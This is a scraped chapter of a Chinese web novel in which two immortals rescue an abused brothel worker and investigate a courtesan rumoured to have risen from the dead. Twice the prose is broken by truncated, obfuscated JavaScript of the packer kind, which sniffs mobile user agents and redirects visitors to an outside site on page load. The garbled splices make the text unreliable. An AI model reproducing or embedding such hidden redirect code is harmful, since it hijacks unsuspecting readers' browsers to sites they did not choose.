伙计离开后,横波姑娘很快也唱完了曲子,台下仍旧有将赏银抛向台上的客官,那横波姑娘依次谢过他们,退下了高台。 但晴朝看得分明,横波姑娘下台后径直走向了白公子的位置,与对方说了几句话后方才离开。 将第一瓶酒喝完后,晴朝一只手晃着酒瓶子,颇有些惋惜地说道:“唐亦景,我发现瑾娘说的真是没错,这琦陌春坊的饭菜实在是口味平平无奇,也就酒的味道还算是有些意思。” 唐亦景也很喜欢翠微春的口感,因此这顿饭也算是难得的多喝了几杯酒。见晴朝这般说,颇为无奈地瞥了她一眼,开口说道:“谁让你非要气瑾娘来这里吃饭来着?现在这样说,总有些晚了吧?” “我这叫眼见为实嘛。”晴朝甩了甩脑袋。 这时,晴朝发现前边有几张桌子都有娼女在座位上陪着客人喝酒,那些娼女皆身着彩衣,笑意盈盈地陪伴在客人身边,为客人们倒茶添酒。 唐亦景只是瞧了晴朝一眼便明白了对方的意思,但他没有制止,而是由着晴朝拉住了过来上菜的一个姑娘。 由于那女子衣着简陋,脸上更是未施粉黛,一看便是与娼女们有些区别,因此晴朝便将对方当成了一名普通的伙计。 “姑娘,我若是想要找人过来陪我们喝酒,应该怎么算?” 那女子头垂得很低,说话的声音也很小,但晴朝还是能够依稀辨认出来对方说的话到底是什么。 “客人,您想找谁?” 晴朝脱口而出,“花魁娘子。” “不好意思客人,花魁娘子今日的局票已经都排满了。” “这样啊……”晴朝心中有些惋惜,但到底还是没有放在心上,反而接着提问道:“那昀胭姑娘呢?昀胭姑娘的局票总不会也排满了吧?” “昀胭姑娘?” 那女子明显愣了一下,晴朝本以为对方是没有听清楚自己所说的名字,因此还特意贴到对方跟前又补充了一遍,“对,昀胭姑娘。” “昀胭姑娘已经死了。” 晴朝一愣,身体也猛地向后一仰。 但是那女子还在执拗地开口说着。 “昀胭姑娘死了,是我亲眼看见她死的。” 晴朝敏锐地觉察出事情有些不对,立刻询问道:“姑娘,你在说什么啊?这究竟是怎么一回事?” “怎么一回事?” 说到这,那女子终于抬起了头,露出一张略显憔悴的面容,她的脸庞与嘴唇都有些发白,两只眼睛好像见了鬼一般张大。 下一霎,她忽然一把掀翻了手中端着的托盘,任由托盘上的菜品与酒壶碎了一地。 “我也不知道是怎么一回事,我明明看见她死了的,可是第二天一早,她又自己活过来了!我不知道!我不知道为什么啊!我不知道啊!” 眼见着那女子尖叫的声音越来越大,一部分客人的目光都被吸引了过来,晴朝也能够瞧出对方的神色明显不对,看起来就好像丢了神智一般。 就在这时,刚才那名伙计急匆匆地走过来,点头哈腰地向晴朝道歉。 “对不住公子,栀娘本也是我们这的姑娘,谁知在一个多月前忽然掉了魂,之后便是一副痴痴傻傻的样子了,我没想到她会冲撞到您,您大人有大量,千万别放在心上。” 晴朝和唐亦景还未来得及说话,忽然看见一双手伸了过来,以迅雷不及掩耳的工夫扇了栀娘两个耳光。 “贱蹄子,赔钱货,不能伺候客人便罢了,竟然连端茶倒水的事情都做不好,我今天高低得好好教训你一顿!” 伙计见那中年女人走过来,连忙走上前垂眸说道:“孙妈妈。” 晴朝意识到,原来这位便是琦陌春坊的老鸨。 孙妈妈并不在意伙计的话,只是向后面招了招手,立刻便有两个高大强壮的男子走上前来,其中一人一只手擒栀娘的腰肢,另一个人走上前便狠狠踢了她一脚。 栀娘被束缚住身子动弹不得,挨了两个巴掌后还未来得及呼痛,便被那两个男人一脚踹到腹部,嘴角立刻洇出一口鲜血来。 那中年女子见此这才觉得有几分解气,嘴里还不忘叮嘱道:“打,给我狠狠地打,与其留着她在这添乱,倒不如打死她干净。” 这里闹出那么大的动静,其他客人的目光很容易便被吸引过来。但即便这里正在出现两个壮汉殴打一名手无缚鸡之力的女子的惨案,那些客人却还是冷漠地将脑袋都扭了回去,俨然一副习以为常的样子。 晴朝忽然意识到,也许这样的场面,已经在这里出现了不止一次两次。 “住手!” 那名中年女子一愣,像是没有想到晴朝会突然制止自己,她并没有叫停手下人的作为,只是瞪大了眼睛看着晴朝。 而晴朝也没有再给孙妈妈反应的时间,一个箭步便冲上前拉住了其中一名壮汉的胳膊。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241775|197765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我再说一遍,给我住手。” 那名壮汉本以为这位公子看着身量纤细,必然也没有什么力气,谁知轻轻挣脱一下却没有挣脱开对方,眼底透出几分诧异,但眉目间却已经露出怒容。 “你是什么东西?还不快给老子闪开……” 那名壮汉话还没说完,忽然看见一道白光闪过,接着便感觉到自己的面颊吃痛,身体也控制不住飞了出去,重重地撞在了身后的桌子上, 栀娘此时已经处于昏厥的状态,没有了那两名壮汉的桎梏后再也支撑不住,身子软软地向前倒去,还好被晴朝一把揽在了怀中。 晴朝其实对于唐亦景的出手很是惊讶,毕竟对方一向是最不愿意在人界动用法术的,一旦这种行为被仙界发现,便很有可能会引来天罚。但晴朝不知道的是,对于此刻的唐亦景来说,他更害怕晴朝会亲自动手。 其一,晴朝的身体刚刚恢复,他并不敢让晴朝冒险;其二,若是他们二人之间必须有一个人接受天罚,他现在更希望这个人是自己,因为以晴朝现在的身体情况来说,她已经绝不可能再撑过一次天罚了。 就连唐亦景都没有意识到,此刻他面对晴朝时的态度,与七百年前已经变得大不相同。 孙妈妈刚才也见到那道白光闪过,她此时才意识到这道白光并非是真的光芒,而是那名道士模样的男子手中所持的拂尘在瞬间被抛出去的影子。她扭头看了一眼还倒在地上东倒西歪的打手,再转过脸已是变了一副模样。 “二位贵人莫怪,都是老身莽撞,这才扰了二位贵人用餐的雅兴。” 孙妈妈满脸堆笑,涂了鲜艳口脂的嘴唇一张一合。 “我这女儿脑子不好,刚才老身只是想对她稍加惩戒为贵人们出气,您二位莫怪。” “稍加惩戒?我见你明明是想要打死她!”晴朝怒目圆睁,“亏你还好意思说她是你女儿,便是一个素未相识的陌生人也不至于对弱女子下此毒手!” “公子这样说便不对了,一行有一行的规矩。我这女儿犯了错,做妈妈的便必须教训她,否则我们琦陌春坊岂不成了没有规矩的地方了?我日后又该如何管教其他女儿呢?”说到这,孙妈妈搓了搓手。 “再者说,我这些年也是为了培养我这女儿穷尽了心血,没想到到最后竟落得个人财两空的结局。我这琦陌春坊是做生意的,又不是做慈善的,总不能成日养着这么一个废人吧?” 晴朝的眉头皱起,她差点忘了这些娼女对于老鸨来说都只不过是赚钱的工具,如今工具失去了利用价值,孙妈妈确实没有继续留着对方的必要。 “可这是一条人命,你这般肆意妄为,难道就不怕官府来找你麻烦吗?” “公子怕不是第一次来烟花柳巷吧?您难道不知道这些女儿都是自愿卖身到我这的?既然她们签了卖身契,我便有权利处置她们,即便是官府来了又怎么样,难道官老爷还能制止我买人卖人吗?” “你……”晴朝一阵语塞,孙妈妈的话说得没错,即便今日琦陌春坊将这名女子打死了,到底有没有人愿意替这女子申诉尚且不论,便是真的闹到了公堂之上,他们也拿琦陌春坊没什么办法。 毕竟这套吃人的逻辑并非是琦陌春坊独有的,而是已经流传了千年。 “公子放心,今日您在此所有的花费老身都免了,权当是为我们的莽撞赔罪。” 孙妈妈使了个眼色,好不容易站起来的两个壮汉再次走了上前。 “至于我这女儿您便不要管了,我这琦陌春坊里漂亮的姑娘多的是,您若是看上哪个只管跟老身说,没必要为这么一个废物动气。” 晴朝紧紧盯着眼前的三个人,她的内心此时也很是纠结。晴朝知道,即便她今日将在场的三个人都打一顿,也改变不了栀娘的命运,她仍然是琦陌春坊的人,便只能在他们手中任其宰割。更何况她现在到底是在人界,这样闹一场于她无碍,但对于朱妙仪来说可就不一定了。 这种时候了,她不应当再给朱妙仪添麻烦。 孙妈妈见这位年轻公子不做声了,以为对方已经被自己说服,也就更加肆无忌惮起来。 “公子,老身劝您一句,不要多管闲事了。” 就在剑拔弩张之际,本来坐在原地一动不动的唐亦景忽然站了起来。 “等等。” 几人齐刷刷看向唐亦景。 “孙妈妈,我知道你管教坊内的姑娘并无错处,只是我想您心中也清楚,对于这姑娘来说您即便再怎么管教也是无济于事的了。” 26. 第 26 章 孙妈妈一顿,收敛起脸上的笑容,正色看向唐亦景。 “这位公子,您这话是什么意思?” “刚才您也说了,这姑娘已经无法招待客人了,今日即便您真的打死她,也不可能改变您人财两空的事实。” 孙妈妈眉毛微挑,“这么说,您有别的想法?” “您出个价吧,我们要将她买走。” 此话一出,即便晴朝都有些惊讶。 孙妈妈却是咧开嘴露出一个笑容,“好啊好啊,原先我总以为这救风尘的戏码只在戏本子中才会存在,没想到今日竟然真的碰见了。” 唐亦景并不在意孙妈妈的话,反而冷哼一声说道:“你与其在此处说风凉话,倒不如赶紧报个价钱上来,否则错失良机,你就只能自认倒霉了。” 孙妈妈见眼前这两个人诚心要买,伸手一招,伙计便立刻将一个算盘子递了过来。只见她在那里拨弄了好一会算盘,半晌才抬起头来,笑眯眯地开口说道:“贵客,我也不做那坐地起价的恶事了,这姑娘是个傻子,我只要你们十两银子便足够了。” 晴朝扭头看向唐亦景,后者并没有多说什么,而是从袖中摸出一个钱袋,干脆利落地抛给孙妈妈。 孙妈妈只是稍微掂量了一下手中的钱袋子,脸上的笑意立刻加深了几分。“来人,立刻将栀娘的卖身契送过来!” 由于栀娘娘尚处于昏迷状态,因此唐亦景与晴朝并没有继续停留,而是撕毁了卖身契后便叫了辆马车,火急火燎地往朱家赶去。 此时朱妙仪与颜琅已经用完了饭,由于从浔阳楼的伙计口中已经得知了唐亦景与晴朝的去向,因此在打开门的时候,朱妙仪虽有些吃惊,却也是立刻猜想到了这女子的来历。她从梧桐馆选了一间厢房安顿女子,而唐亦景便与颜琅一同上街请大夫。 厢房之中,朱妙仪与晴朝一同将栀娘身上的伤进行了简单的包扎,同时还将栀娘因为生病而被孙妈妈殴打的事情告知了朱妙仪。 “妙仪,是我对不住你,又给你添麻烦了。” 朱妙仪将毛巾浸湿后,轻柔地擦干净栀娘嘴角的血痕。 “雀儿姐姐,这算什么麻烦呢?若是我在当场,我也一定会和你们做出一样的选择。” 晴朝坐在一旁看着床上仍然昏迷着的女子,只能缓缓地叹了口气。 “原先我只以为那娼楼是寻欢作乐的地方,如今才知道这欢乐竟是建立在娼女的血泪之上。她们既没有人身自由,还会遭到老鸨的责骂殴打,甚至还会因此丧命,实在是可怜。” 朱妙仪点了点头,“更何况这姑娘还有惊悸的毛病在身上,好在你们今天将她带回来,要不然在那种虎狼窝中,我真不知道她能捱到什么时候。” “只可惜,那虎狼窝之中还有更多可怜的姑娘。” 朱妙仪听到晴朝这样说,只能把手轻轻搭在了对方的肩膀上。 不多时唐亦景与颜琅便将大夫请了回来,那大夫姓叶,就住在距离枣冢巷不远的街上,也算是朱家的老相识了。经过一番诊治后,叶大夫发现栀娘身上大部分都是皮肉伤,只有胳膊一处骨折了,需要通过上夹板的方式辅助康复。 待夹板固定好,叶大夫对他们四人嘱咐道:“一定要保护好她这条胳膊,一旦骨头长歪,要想恢复便困难了。” 晴朝点了点头,接着问道:“大夫,这姑娘的神智好像有些不清醒,您觉得有办法能够医治吗?” 叶大夫摸了摸自己的山羊胡须,“现在还说不准,这种病只能等到她清醒过来才能进行诊断。” 离开之前,叶大夫又给栀娘开了几服药,并交代了他们下次换药的时间。 在诊断过程中栀娘一直没有醒过来的迹象,虽然叶大夫表示不用担心,但他们几人到底还是觉得不太放心,便决定走到外间一同等一会,看看栀娘有没有清醒过来的迹象。然而就在朱妙仪为栀娘掖了掖被角准备离开的时候,忽然感觉到自己的手被一把握住了。 朱妙仪吃了一惊,低头看去,却发现栀娘正大睁着眼睛一脸惊恐地看着她。 “你,你……” 朱妙仪本以为栀娘是醒过来见到自己有些害怕,刚准备出言安慰对方,却只见对方眼神空洞,只是尖着嗓子叫道: “是我亲眼看到昀胭死了,是我亲眼见到的!” 接着便再次晕了过去。 唐亦景率先反应过来,走上前给栀娘再次搭了脉,之后才对朱妙仪轻声说道:“脉象还算平稳,想来刚才是癔症发作了。” 朱妙仪点了点头,深深地看了一眼栀娘之后,与其他三人一同走到了外间。 颜琅给他们端上了茶水,朱妙仪忽然看向唐亦景和晴朝,有些疑惑地问道:“昀胭,是谁啊?” 唐亦景与晴朝对视一眼,缓缓将今晚在琦陌春坊见到的事情告诉了朱妙仪与颜琅。 “这么说来,昀胭便是琦陌春坊从前的花魁娘子了?”朱妙仪若有所思,“奇怪,若是按照那伙计所说,昀胭前些日子的消失真的只是养伤,那为什么坊间又会流传出起死回生的说法呢?栀娘又到底为什么会在听到昀胭的名字之后如此紧张?” 晴朝摇了摇头,“按照孙妈妈的说法,栀娘的病并非从小就有,而是几个月前忽然病的。” “几个月前?”颜琅忽然睁大了眼睛,“那这样说来,岂不是与昀胭姑娘受伤是差不多的时间?” “难道说,栀娘的病与昀胭姑娘受伤有什么关系吗?” 朱妙仪沉吟片刻,“或者说,难道是栀娘看到了什么?比如昀胭姑娘究竟为何是受伤的。” 晴朝点头,“我一开始也想过昀胭姑娘受伤并非意外,毕竟她因此失去了花魁娘子的头衔,甚至还失去了一位孤老作为赏银的稳定来源,但那伙计却说这些姑娘只不过会有些争风吃醋,并不会真的谋害他人。” “失去了一位孤老?” 唐亦景见朱妙仪不解,便向她解释道:“孤老指的便是与娼女有长期关系的恩客,那昀胭姑娘原有一位姓白的孤老,好像叫什么白无弦的,现在却成了横波姑娘的孤老了。” 朱妙仪第一次听说这些词汇,心中觉得很是新鲜,她刚准备开口说话,却听见颜琅带着震惊地开口:“白无弦,唐大人刚才所说的男人可是叫白无弦?” 唐亦景点头。 “怪不得白大相公自从告老还乡之后便音讯全无,连带着白公子都跟着销声匿迹了,原来是来到了这无妖县。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241776|197765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 晴朝有些意外,“这么说,颜公子可是认得这位白公子?” “白无弦的祖父白庆松原做过参知政事,是赫赫有名的三朝元老,即便是我父亲都会尊称他一声白大相公。他的儿子儿媳早亡,因此白无弦是白大相公一手抚养长大的。白无弦从小身子不好,白大相公对他很是纵容,不仅不要求他读书不说,还由着他流连于烟花柳巷。” 说到这,颜琅笑着摇了摇头。 “当时我与白公子一同在王家家塾读书,还曾与他一同翻墙逃学过,一转眼过去数年,真没想到我在此处还能够再见到他。” “怪不得那伙计说白无弦出手极为阔绰,是官宦世家的公子哥呢,原来白家还真的如此显赫。”晴朝感慨道:“只是颜公子,你这同窗也着实喜新厌旧了些。” 唐亦景本以为颜琅必然会为了白无弦辩解,没想到后者却只是笑了笑,开口说道:“这种事对于白公子来说只不过是司空见惯罢了。他生得好看,若不是身子不好,便是入宫尚公主都绰绰有余。原先读书的时候我便听说京中有娼女为了他吵得不可开交,只是没想到这人随着白大相公隐退后竟还是这般不肯消停。” “竟会长得如此好看吗?”晴朝忽然有些后悔今晚自己并没有看清白无弦的样貌了。 颜琅连忙安慰晴朝道:“没关系,既然白无弦已经搬到了无妖县,日后你必然会有再见到他的机会。” 朱妙仪瞥见唐亦景板着脸,故意笑着说道:“雀儿姐姐,你可小心亦景哥哥又要同旁人讲你见过商纣王的事情了。” 四人说了一会话,见栀娘还没有清醒过来的征兆,最后决定由朱妙仪与颜琅守上半夜、唐亦景和晴朝守下半夜的方式轮换,确保能够第一时间获知栀娘醒过来的消息。 将近一夜过去,栀娘终于在天蒙蒙亮的时候醒了过来。唐亦景与晴朝发现,只要不提到昀胭姑娘的时候,栀娘的情况都十分正常,正常的对话并没有什么影响。晴朝告知栀娘她已经自由的时候,她的眼泪一瞬间便落了下来,跪在地上久久不肯起身,直言要报答唐亦景与晴朝的大恩大德。 晴朝倒是不求她报答什么,只是想要赶紧治好栀娘的病,这样他们说不定就能明白房坊间为什么会忽然流传出昀胭姑娘乃是死而复生之人的说法了。 天大亮之后,朱妙仪和颜琅再一次过来换下了唐亦景和晴朝,唐亦景倒是没什么,只是晴朝身体也刚刚恢复,实在不能出现操劳过度的情况。朱妙仪见栀娘很是安静,便让颜琅先出去将晨食买回来,毕竟栀娘是病人,还是不能饿肚子的。 辰时末,颜琅步履匆匆地走了回来,此时唐亦景和晴朝也已经醒来,正与朱妙仪一同坐在堂屋内说话。 “你们怎么在这里?栀娘呢?” 朱妙仪走上前,“栀娘又睡下了,我们担心打扰到她休息,便打算在此处等候。” 颜琅点了点头,在确定栀娘并不在此处之后,才放心地开口说道:“昨天晚上,琦陌春坊出事了。” 晴朝原以为是又有人在琦陌春坊闹事,开口问道:“出事,出什么事了?” “琦陌春坊现在的花魁娘子横波姑娘,从楼上掉下来摔死了。” “你说什么?”